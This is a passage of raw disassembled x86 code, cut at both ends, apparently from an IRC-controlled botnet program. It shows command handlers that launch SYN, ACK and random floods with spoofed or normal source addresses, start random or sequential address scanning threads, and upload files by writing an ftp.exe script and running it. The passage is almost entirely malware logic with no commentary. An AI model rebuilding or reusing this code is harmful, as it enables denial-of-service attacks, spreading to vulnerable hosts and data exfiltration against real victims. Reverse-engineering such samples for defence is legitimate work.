asc_42AEFC ; "-" loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj ; sub_401ACD+4561j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf loc_406BFB: ; CODE XREF: sub_401ACD+2431j add esp, 0Ch loc_406BFE: ; CODE XREF: sub_401ACD+4485j ; sub_401ACD+6575j ... cmp [ebp+var_8], ebx jnz short loc_406C1F push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h loc_406C1F: ; CODE XREF: sub_401ACD+296Fj ; sub_401ACD+29C2j ... mov esi, [ebp+File] loc_406C22: ; CODE XREF: sub_401ACD+6814j ; sub_401ACD+773Fj ... lea eax, [ebp+Dst] push eax call sub_415D38 pop ecx mov eax, esi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_406C36: ; CODE XREF: sub_401ACD+4FCCj push [ebp+arg_8] ; Str2 push offset aHttpcon ; "httpcon" call _strcmp pop ecx test eax, eax pop ecx jz short loc_406C60 push [ebp+arg_8] ; Str2 push offset aHcon ; "hcon" call _strcmp pop ecx test eax, eax pop ecx jnz loc_407208 loc_406C60: ; CODE XREF: sub_401ACD+517Aj push [ebp+esi+var_7C] ; int push [ebp+Source] ; int push [ebp+Src] ; int push [ebp+arg_18] ; Str call _atoi pop ecx push eax ; int push edi ; int push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_410ADC jmp loc_404085 ; --------------------------------------------------------------------------- loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej ; sub_401ACD+4FB5j mov esi, 80h push edi ; Format lea eax, [ebp+var_1358] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+var_1358] push eax ; Str2 push offset aSyn ; "syn" call _strcmp add esp, 14h test eax, eax jz short loc_406CF1 lea eax, [ebp+var_1358] push eax ; Str2 push offset aAck ; "ack" call _strcmp pop ecx test eax, eax pop ecx jz short loc_406CF1 lea eax, [ebp+var_1358] push eax ; Str2 push offset aRandom_0 ; "random" call _strcmp pop ecx test eax, eax pop ecx jz short loc_406CF1 push offset unk_42AEB4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_406CF1: ; CODE XREF: sub_401ACD+51EAj ; sub_401ACD+5201j ... push [ebp+Source] ; Str call _atoi cmp eax, ebx pop ecx mov [ebp+var_1250], eax jle loc_406E1D push edi ; Format lea eax, [ebp+var_1358] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_13D8] push [ebp+arg_18] ; Format push esi ; Count push eax ; Dest call __snprintf push [ebp+Src] ; Str call _atoi mov [ebp+var_1254], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+Format] ; Format setnz al mov [ebp+var_124C], eax mov eax, [ebp+arg_4] mov [ebp+var_13DC], eax lea eax, [ebp+var_12D8] push esi ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_124C], ebx mov [ebp+var_1248], eax mov eax, [ebp+var_8] mov [ebp+var_1244], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406D8E mov eax, offset aNormal ; "Normal" loc_406D8E: ; CODE XREF: sub_401ACD+52BAj push [ebp+Source] push [ebp+Src] push [ebp+arg_18] push edi push eax push offset asc_42AE70 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 14h ; int push eax ; Source call sub_40B3BA add esp, 2Ch mov [ebp+var_1258], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13DC] push ebx push eax push offset sub_4149C1 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_1258] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406E0C loc_406DF6: ; CODE XREF: sub_401ACD+533Dj cmp [ebp+var_1240], ebx jnz loc_4081AD push 32h call ds:dword_427080 ; Sleep jmp short loc_406DF6 ; --------------------------------------------------------------------------- loc_406E0C: ; CODE XREF: sub_401ACD+5327j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42AE38 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406E1D: ; CODE XREF: sub_401ACD+5235j push offset asc_42AE00 ; "-" loc_406E22: ; CODE XREF: sub_401ACD+1FBEj ; sub_401ACD+1FD4j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_4081AD ; --------------------------------------------------------------------------- loc_406E35: ; CODE XREF: sub_401ACD+4F11j ; sub_401ACD+4F28j ... cmp dword_4CBAC4, ebx jnz loc_406F44 mov eax, [ebp+var_8] push 7Fh ; Count mov [ebp+var_FF8], eax mov eax, [ebp+var_4] mov [ebp+var_FFC], eax lea eax, [ebp+var_1090] push edi ; Source push eax ; Dest call _strncpy push [ebp+arg_18] ; Str call _atoi push [ebp+Src] ; Str mov [ebp+var_1010], eax call _atoi push [ebp+Source] ; Str mov [ebp+var_100C], eax call _atoi push 7Fh ; Count mov [ebp+var_1008], eax push [ebp+Format] ; Source lea eax, [ebp+var_1110] push eax ; Dest call _strncpy mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1114], eax lea eax, [ebp+var_1090] push [ebp+var_1008] push [ebp+var_100C] push eax lea eax, [ebp+Dst] push [ebp+var_1010] push offset asc_42ADB8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 16h ; int push eax ; Source call sub_40B3BA add esp, 24h mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1114] push ebx push eax push offset sub_413E10 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_406F33 loc_406F1D: ; CODE XREF: sub_401ACD+5464j cmp [ebp+var_FF4], ebx jnz loc_4081AD push 32h call ds:dword_427080 ; Sleep jmp short loc_406F1D ; --------------------------------------------------------------------------- loc_406F33: ; CODE XREF: sub_401ACD+544Ej call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42AD80 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406F44: ; CODE XREF: sub_401ACD+536Ej push 1FFh ; Count lea eax, [ebp+Dst] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax ; Dest call _strncpy jmp loc_4081AA ; --------------------------------------------------------------------------- loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j ; sub_401ACD+4EFAj push [ebp+arg_18] lea eax, [ebp+Dst] push edi push [ebp+Src] push offset asc_42AD2C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 push [ebp+Src] ; Str call _strlen push [ebp+arg_18] ; Str mov edi, eax call _strlen push [ebp+arg_20] ; Str add edi, eax call _strlen push [ebp+arg_8] ; Str add edi, eax call _strlen add eax, [ebp+var_C] push [ebp+Source] ; SubStr lea eax, [eax+edi+7] push eax ; Str call _strstr add esp, 40h mov [ebp+arg_C], eax push [ebp+Src] ; Str call _atoi mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_1C], ebx jle short loc_407059 loc_406FE2: ; CODE XREF: sub_401ACD+5539j push [ebp+arg_C] ; int push [ebp+arg_18] ; int push edi ; Source call sub_418AF1 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_40700A cmp eax, ebx jnz short loc_407029 inc [ebp+arg_1C] mov eax, [ebp+arg_1C] cmp eax, [ebp+arg_14] jl short loc_406FE2 jmp short loc_407062 ; --------------------------------------------------------------------------- loc_40700A: ; CODE XREF: sub_401ACD+552Aj push ebx ; int push [ebp+var_4] ; int push offset unk_42ACF4 ; int loc_407013: ; CODE XREF: sub_401ACD+559Ej push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h jmp loc_407208 ; --------------------------------------------------------------------------- loc_407029: ; CODE XREF: sub_401ACD+552Ej push [ebp+arg_20] lea eax, [ebp+Dst] push offset asc_42ACC0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 20h loc_407059: ; CODE XREF: sub_401ACD+5513j cmp [ebp+arg_20], ebx jnz loc_407208 loc_407062: ; CODE XREF: sub_401ACD+553Bj push ebx push [ebp+var_4] push offset unk_42AC8C jmp short loc_407013 ; --------------------------------------------------------------------------- loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej ; sub_401ACD+4EB5j ... mov eax, [ebp+var_8] push 7Fh ; Count mov [ebp+var_C68], eax mov eax, [ebp+var_4] loc_40707B: ; DATA XREF: .data:004330E0o ; .data:004330F4o ... mov [ebp+var_C6C], eax lea eax, [ebp+var_D00] push edi ; Source push eax ; Dest call _strncpy push [ebp+arg_18] ; Str call _atoi push [ebp+Src] ; Str mov [ebp+var_C80], eax call _atoi push [ebp+Source] ; Str mov [ebp+var_C7C], eax call _atoi mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C78], eax jz short loc_4070D2 push esi ; Str call _atoi pop ecx mov [ebp+var_C74], eax jmp short loc_4070D8 ; --------------------------------------------------------------------------- loc_4070D2: ; CODE XREF: sub_401ACD+55F4j mov [ebp+var_C74], ebx loc_4070D8: ; CODE XREF: sub_401ACD+5603j push 7Fh ; Count lea eax, [ebp+var_D80] push [ebp+Format] ; Source push eax ; Dest call _strncpy add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_D00] mov [ebp+var_D84], esi push [ebp+var_C78] push [ebp+var_C7C] push eax lea eax, [ebp+Dst] push [ebp+var_C80] push offset asc_42AC44 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 17h ; int push eax ; Source call sub_40B3BA add esp, 24h mov [ebp+var_C70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D84] push ebx push eax push offset sub_413F9C push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_C70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40717B loc_407169: ; CODE XREF: sub_401ACD+56ACj cmp [ebp+var_C64], ebx jnz short loc_407196 push 32h call ds:dword_427080 ; Sleep jmp short loc_407169 ; --------------------------------------------------------------------------- loc_40717B: ; CODE XREF: sub_401ACD+569Aj call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset asc_42AC0C ; "-" loc_407187: ; CODE XREF: sub_401ACD+4D09j ; sub_401ACD+61E0j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_407196: ; CODE XREF: sub_401ACD+4CEDj ; sub_401ACD+56A2j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push [ebp+var_4] loc_4071A3: ; CODE XREF: sub_401ACD+2284j lea eax, [ebp+Dst] push eax push [ebp+Format] push esi jmp loc_4081CA ; --------------------------------------------------------------------------- loc_4071B6: ; CODE XREF: sub_401ACD+4E70j ; sub_401ACD+4E87j push 0Bh call sub_40B602 push [ebp+arg_18] ; Str mov [ebp+arg_1C], eax call _atoi add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 320h jle loc_407381 push [ebp+arg_1C] lea eax, [ebp+Dst] push offset unk_42ABD0 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 20h loc_407208: ; CODE XREF: sub_401ACD+518Dj ; sub_401ACD+5557j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401F75 push [ebp+arg_8] ; Str2 push offset aUpload ; "upload" call _strcmp pop ecx test eax, eax pop ecx jnz loc_409644 push 4 push esi call sub_416CAF pop ecx test eax, eax pop ecx jnz short loc_407253 push esi push offset asc_42ABA8 ; "-" loc_40723F: ; CODE XREF: sub_401ACD+711Ej ; sub_401ACD+796Bj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_403F9D ; --------------------------------------------------------------------------- loc_407253: ; CODE XREF: sub_401ACD+576Aj call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call _rand push 9 cdq pop ecx idiv ecx push edx call _rand push 63h cdq pop ecx idiv ecx push edx call _rand cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_50FC] push edx push eax lea eax, [ebp+Filename] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax ; Dest call _sprintf lea eax, [ebp+Filename] push offset Mode ; "ab" push eax ; Filename call _fopen add esp, 20h cmp eax, ebx mov [ebp+File], eax jz loc_401F75 push esi push [ebp+Source] push [ebp+Src] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax ; File call _fprintf push [ebp+File] ; File call _fclose add esp, 20h lea eax, [ebp+Filename] push eax lea eax, [ebp+var_4CF8] push offset aSS_2 ; "-s:%s" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_4CF8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi push esi ; Format jz short loc_407320 push offset unk_42AB38 jmp short loc_407325 ; --------------------------------------------------------------------------- loc_407320: ; CODE XREF: sub_401ACD+584Aj push offset asc_42AB08 ; "-" loc_407325: ; CODE XREF: sub_401ACD+5851j call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40734E push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h loc_40734E: ; CODE XREF: sub_401ACD+5863j lea eax, [ebp+Dst] push eax call sub_415D38 loc_40735A: ; CODE XREF: sub_401ACD+58B2j lea eax, [ebp+Filename] push 4 push eax call sub_416CAF add esp, 0Ch test eax, eax jz loc_401F75 lea eax, [ebp+Filename] push eax call sub_41C7BC jmp short loc_40735A ; --------------------------------------------------------------------------- loc_407381: ; CODE XREF: sub_401ACD+5705j push edi ; Str call _atoi push [ebp+arg_18] ; Str mov [ebp+var_370], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_358], eax call _atoi add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_4073BA push 5 pop eax mov [ebp+var_36C], eax loc_4073BA: ; CODE XREF: sub_401ACD+58E2j push 3Ch pop ecx cmp eax, ecx jbe short loc_4073C7 mov [ebp+var_36C], ecx loc_4073C7: ; CODE XREF: sub_401ACD+58F2j push [ebp+Source] ; Str call _atoi cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_4073E7 mov [ebp+var_368], 320h loc_4073E7: ; CODE XREF: sub_401ACD+590Ej or [ebp+var_354], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+arg_1C], ebx jz short loc_40743D mov [ebp+File], offset dword_4317F8 loc_407400: ; CODE XREF: sub_401ACD+5952j mov eax, [ebp+File] push edi ; Str2 add eax, 0FFFFFFD8h push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_407423 add [ebp+File], 40h inc [ebp+arg_1C] mov eax, [ebp+File] cmp [eax], ebx jnz short loc_407400 jmp short loc_40743D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_401ACD+5944j mov eax, [ebp+arg_1C] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_370], ecx loc_40743D: ; CODE XREF: sub_401ACD+592Aj ; sub_401ACD+5954j cmp [ebp+var_370], ebx jnz short loc_40744F push offset unk_42AAD4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_40744F: ; CODE XREF: sub_401ACD+5976j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+Src], edi jz short loc_40748A cmp byte ptr [edi], 23h jz short loc_40748A push edi ; Format lea eax, [ebp+var_484] push 10h ; Count push eax ; Dest call __snprintf push 78h ; Val push edi ; Str call _strchr add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407564 ; --------------------------------------------------------------------------- loc_40748A: ; CODE XREF: sub_401ACD+598Bj ; sub_401ACD+5990j cmp [ebp+var_8FF], bl jnz short loc_4074AC cmp [ebp+var_8FE], bl jnz short loc_4074AC cmp [ebp+var_8EE], bl jnz short loc_4074AC push offset unk_42AAA0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_4074AC: ; CODE XREF: sub_401ACD+59C3j ; sub_401ACD+59CBj ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB978 ; getsockname mov al, [ebp+var_8FF] push edi ; Args neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] ; Count call dword_4CBA60 ; inet_ntoa push eax ; Source lea eax, [ebp+var_484] push eax ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40755E xor eax, eax cmp [ebp+var_8FF], bl push 30h ; Ch setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax ; Str call _strrchr pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+File+3], bl jle short loc_407552 loc_407530: ; CODE XREF: sub_401ACD+5A83j cmp eax, ebx jz short loc_407552 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h ; Ch push eax ; Str call _strrchr inc byte ptr [ebp+File+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+File+3] cmp ecx, edi jl short loc_407530 loc_407552: ; CODE XREF: sub_401ACD+5A61j ; sub_401ACD+5A65j mov [ebp+var_344], 1 jmp short loc_407564 ; --------------------------------------------------------------------------- loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj mov [ebp+var_344], ebx loc_407564: ; CODE XREF: sub_401ACD+59B8j ; sub_401ACD+5A8Fj mov eax, [ebp+arg_4] push [ebp+Format] ; Format mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi ; Count push eax ; Dest call __snprintf mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4075B5 loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj push esi ; Format loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j lea eax, [ebp+var_3F4] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_4075E0 ; --------------------------------------------------------------------------- loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j mov eax, [ebp+Src] cmp eax, ebx jz short loc_4075C4 cmp byte ptr [eax], 23h jnz short loc_4075C4 push eax jmp short loc_4075A3 ; --------------------------------------------------------------------------- loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj ; sub_401ACD+5AF2j mov esi, offset aF ; "#f" push offset byte_43DB88 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4075A2 mov [ebp+var_3F4], bl loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4075F2 mov eax, offset aSequential ; "Sequential" loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+Dst] push offset unk_42AA38 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B3BA add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset sub_40C600 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407680 loc_40766A: ; CODE XREF: sub_401ACD+5BB1j cmp [ebp+var_340], ebx jnz loc_4081AD push 32h call ds:dword_427080 ; Sleep jmp short loc_40766A ; --------------------------------------------------------------------------- loc_407680: ; CODE XREF: sub_401ACD+5B9Bj call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42AA00 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_407691: ; CODE XREF: sub_401ACD+4E42j ; sub_401ACD+4E59j push edi call sub_40A8F0 push [ebp+arg_18] ; Str mov [ebp+var_4E0], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_4F0], eax call _atoi push [ebp+Source] ; Str mov [ebp+var_4EC], eax call _atoi mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax ; Dest call _strncpy add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Dst] push offset asc_42A9B0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B3BA add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset sub_40CA1D push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407786 loc_407770: ; CODE XREF: sub_401ACD+5CB7j cmp [ebp+var_4D0], ebx jnz loc_403D46 push 32h call ds:dword_427080 ; Sleep jmp short loc_407770 ; --------------------------------------------------------------------------- loc_407786: ; CODE XREF: sub_401ACD+5CA1j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A974 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407797: ; CODE XREF: sub_401ACD+4E05j ; sub_401ACD+4E1Cj push edi ; Str call _atoi imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] ; Str call _strlen push edi ; Str mov esi, eax call _strlen push [ebp+arg_8] ; Str add esi, eax call _strlen add eax, [ebp+var_C] push [ebp+Src] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr add esp, 14h mov esi, eax lea eax, [ebp+Dst] push esi push offset dword_42A968 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp esi, ebx jz loc_409644 push edi ; Str call _atoi test eax, eax pop ecx jle loc_409644 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409644 push ebx ; int lea eax, [ebp+Dst] push ebx ; int push eax ; int push [ebp+arg_18] ; Str push edi ; Str call _atoi imul eax, 234h pop ecx push dword_43E91C[eax] ; int call sub_409869 push edi ; Str call _atoi imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi ; Str call _atoi imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS ; "[%s] * %s %s" jmp loc_407957 ; --------------------------------------------------------------------------- loc_407887: ; CODE XREF: sub_401ACD+4DD7j ; sub_401ACD+4DEEj push edi ; Str call _atoi imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] ; Str call _strlen push edi ; Str mov esi, eax call _strlen push [ebp+arg_8] ; Str add esi, eax call _strlen add eax, [ebp+var_C] push [ebp+Src] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 14h cmp esi, ebx jz loc_409644 push edi ; Str call _atoi test eax, eax pop ecx jle loc_409644 push edi ; Str call _atoi cmp eax, 400h pop ecx jge loc_409644 push ebx ; int push ebx ; int push esi ; int push [ebp+arg_18] ; Str push edi ; Str call _atoi imul eax, 234h pop ecx push dword_43E91C[eax] ; int call sub_409869 push edi ; Str call _atoi imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi ; Str call _atoi imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" loc_407957: ; CODE XREF: sub_401ACD+5DB5j lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 28h jmp loc_409644 ; --------------------------------------------------------------------------- loc_407984: ; CODE XREF: sub_401ACD+4DA9j ; sub_401ACD+4DC0j push edi call dword_4CBA14 ; inet_addr push [ebp+arg_18] ; Str mov [ebp+var_680], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_690], eax call _atoi mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax ; Dest call _strncpy add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Dst] push offset unk_42A910 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B3BA add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset sub_40C92C push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407A66 loc_407A50: ; CODE XREF: sub_401ACD+5F97j cmp [ebp+var_670], ebx jnz loc_403D46 push 32h call ds:dword_427080 ; Sleep jmp short loc_407A50 ; --------------------------------------------------------------------------- loc_407A66: ; CODE XREF: sub_401ACD+5F81j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42AA00 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj ; sub_401ACD+4D92j push edi ; Str call _atoi push 7Fh ; Count mov [ebp+var_1130], eax push [ebp+arg_18] ; Source lea eax, [ebp+var_1234] push eax ; Dest call _strncpy push [ebp+Src] ; Str call _atoi mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1134], eax lea eax, [ebp+var_11B4] push [ebp+Format] ; Format mov [ebp+var_123C], esi push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_1120], eax push [ebp+var_1134] lea eax, [ebp+var_1234] mov [ebp+var_1124], edi push eax push [ebp+var_1130] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+Dst] push offset asc_42A8D4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 18h ; int push eax ; Source call sub_40B3BA add esp, 24h mov [ebp+var_112C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_123C] push ebx push eax push offset sub_410DAB push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_112C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407B63 loc_407B4D: ; CODE XREF: sub_401ACD+6094j cmp [ebp+var_111C], ebx jnz loc_403D46 push 32h call ds:dword_427080 ; Sleep jmp short loc_407B4D ; --------------------------------------------------------------------------- loc_407B63: ; CODE XREF: sub_401ACD+607Ej call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A890 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj ; sub_401ACD+4D64j push 0FFh ; Count lea eax, [ebp+var_287C] push edi ; Source push eax ; Dest call _strncpy push 0FFh ; Count lea eax, [ebp+var_277C] push [ebp+arg_18] ; Source push eax ; Dest call _strncpy push [ebp+Src] ; Str mov [ebp+var_2678], ebx call _atoi mov [ebp+var_2674], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407BCD push 10h ; Radix push ebx ; EndPtr push eax ; Str call _strtoul add esp, 0Ch mov [ebp+var_266C], eax jmp short loc_407BD3 ; --------------------------------------------------------------------------- loc_407BCD: ; CODE XREF: sub_401ACD+60EAj mov [ebp+var_266C], ebx loc_407BD3: ; CODE XREF: sub_401ACD+60FEj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407BEA push esi ; Str call _atoi pop ecx mov [ebp+var_2670], eax jmp short loc_407BF0 ; --------------------------------------------------------------------------- loc_407BEA: ; CODE XREF: sub_401ACD+610Cj mov [ebp+var_2670], ebx loc_407BF0: ; CODE XREF: sub_401ACD+611Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_2668], eax lea eax, [ebp+var_28FC] mov [ebp+var_2900], esi push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_2660], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2664], eax lea eax, [ebp+Dst] push edi push offset asc_42A864 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push 1Dh ; int push eax ; Source call sub_40B3BA add esp, 1Ch mov [ebp+var_267C], eax lea eax, 